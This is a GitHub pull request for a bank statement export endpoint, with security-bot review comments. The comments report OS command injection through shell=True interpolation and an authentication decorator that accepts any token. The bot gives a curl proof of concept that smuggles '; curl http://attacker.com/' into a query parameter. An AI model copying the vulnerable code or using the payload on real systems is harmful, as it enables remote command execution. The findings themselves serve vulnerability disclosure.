Add statement export endpoint#3
Conversation
![hacktron-app-stg[bot]](https://avatars.githubusercontent.com/in/1867296?s=60&v=4){kind=small}
| def export_statement(current_user, account_id): | ||
| fmt = request.args.get("fmt", "pdf") | ||
| output_path = f"/tmp/{account_id}.{fmt}" | ||
| cmd = f"pdfgen --template statements/{account_id}.json -t {fmt} -o {output_path}" | ||
| subprocess.run(cmd, shell=True, check=False) | ||
| return jsonify({"path": output_path}) |
There was a problem hiding this comment.
The export_statement route in web789/statement.py is vulnerable to OS command injection. The endpoint accepts a path parameter account_id and a query parameter fmt, both of which are directly interpolated into a command string cmd that is executed via subprocess.run(..., shell=True). Because the inputs are not sanitized, validated, or restricted to safe characters, an attacker can inject shell metacharacters (such as ;, &, |, or $()) into either parameter to execute arbitrary shell commands under the privileges of the Flask application process. The authentication can be bypassed by providing any token.
Steps to Reproduce
curl -H "Authorization: Bearer bypass" "http://target-app:5000/api/statement/123?fmt=%3B+curl+http%3A%2F%2Fattacker.com%2F%3B"Fix with AI
A security vulnerability was found by Hacktron.
File: statement.py
Lines: 19-24
Severity: critical
Vulnerability: OS Command Injection in export_statement via Unsanitized Parameters in subprocess.run
Description:
The `export_statement` route in `web789/statement.py` is vulnerable to OS command injection. The endpoint accepts a path parameter `account_id` and a query parameter `fmt`, both of which are directly interpolated into a command string `cmd` that is executed via `subprocess.run(..., shell=True)`. Because the inputs are not sanitized, validated, or restricted to safe characters, an attacker can inject shell metacharacters (such as `;`, `&`, `|`, or `$()`) into either parameter to execute arbitrary shell commands under the privileges of the Flask application process. The authentication can be bypassed by providing any token.
Proof of Concept:
```bash
curl -H "Authorization: Bearer bypass" "http://target-app:5000/api/statement/123?fmt=%3B+curl+http%3A%2F%2Fattacker.com%2F%3B"
```
Affected Code:
@app.route("/api/statement/<account_id>", methods=["GET"])
@token_required
def export_statement(current_user, account_id):
fmt = request.args.get("fmt", "pdf")
output_path = f"/tmp/{account_id}.{fmt}"
cmd = f"pdfgen --template statements/{account_id}.json -t {fmt} -o {output_path}"
subprocess.run(cmd, shell=True, check=False)
Acceptance criteria:
- Acceptance is defined by the **actual reported behavior**, not by tests passing.
- Reproduce the issue, or narrow the exact code path that produces it, *before* changing code. State what you confirmed.
- Fix the underlying cause. Mitigations that paper over the reported behavior do not count as a fix.
- Add a regression test that fails on the unpatched code and passes on the fix. If a regression test is genuinely impractical (e.g. race condition, infra-level issue), say so and explain why.
- Existing tests passing is **not** the bar. Do not declare done on tests-pass theatre.
Only change what is necessary to fix this vulnerability. Do not refactor adjacent code or modify unrelated files.
Triage: Reply !fp <reason> (false positive), !valid (confirmed), or !accepted_risk <reason>. Any other reply is saved as a triage note.
Reason is optional but improves future scans — e.g. !fp internal endpoint, not user-facing.
| def token_required(f): | ||
| @wraps(f) | ||
| def decorated(*args, **kwargs): | ||
| token = request.headers.get("Authorization", "").replace("Bearer ", "") | ||
| if not token: | ||
| return jsonify({"error": "Token missing"}), 401 | ||
| return f({"user_id": 1}, *args, **kwargs) | ||
| return decorated |
There was a problem hiding this comment.
The token_required decorator in statement.py only checks for the presence of an Authorization header, but it does not perform any validation of the token itself. Any request with a non-empty Authorization header is granted access as user_id: 1. This allows any unauthenticated user to bypass authentication and act as a valid user.
Steps to Reproduce
Send a request to `/api/statement/1` with any value in the `Authorization` header (e.g., `Authorization: Bearer any_value`). The request will be accepted.
Fix with AI
A security vulnerability was found by Hacktron.
File: statement.py
Lines: 6-13
Severity: critical
Vulnerability: Broken Authentication in token_required Decorator
Description:
The `token_required` decorator in `statement.py` only checks for the presence of an `Authorization` header, but it does not perform any validation of the token itself. Any request with a non-empty `Authorization` header is granted access as `user_id: 1`. This allows any unauthenticated user to bypass authentication and act as a valid user.
Proof of Concept:
Send a request to `/api/statement/1` with any value in the `Authorization` header (e.g., `Authorization: Bearer any_value`). The request will be accepted.
Acceptance criteria:
- Acceptance is defined by the **actual reported behavior**, not by tests passing.
- Reproduce the issue, or narrow the exact code path that produces it, *before* changing code. State what you confirmed.
- Fix the underlying cause. Mitigations that paper over the reported behavior do not count as a fix.
- Add a regression test that fails on the unpatched code and passes on the fix. If a regression test is genuinely impractical (e.g. race condition, infra-level issue), say so and explain why.
- Existing tests passing is **not** the bar. Do not declare done on tests-pass theatre.
Only change what is necessary to fix this vulnerability. Do not refactor adjacent code or modify unrelated files.
Triage: Reply !fp <reason> (false positive), !valid (confirmed), or !accepted_risk <reason>. Any other reply is saved as a triage note.
Reason is optional but improves future scans — e.g. !fp internal endpoint, not user-facing.
1 participant
Adds a bank statement export endpoint that generates PDF/CSV statements for a given account.
The endpoint calls an external PDF generator to render statement templates.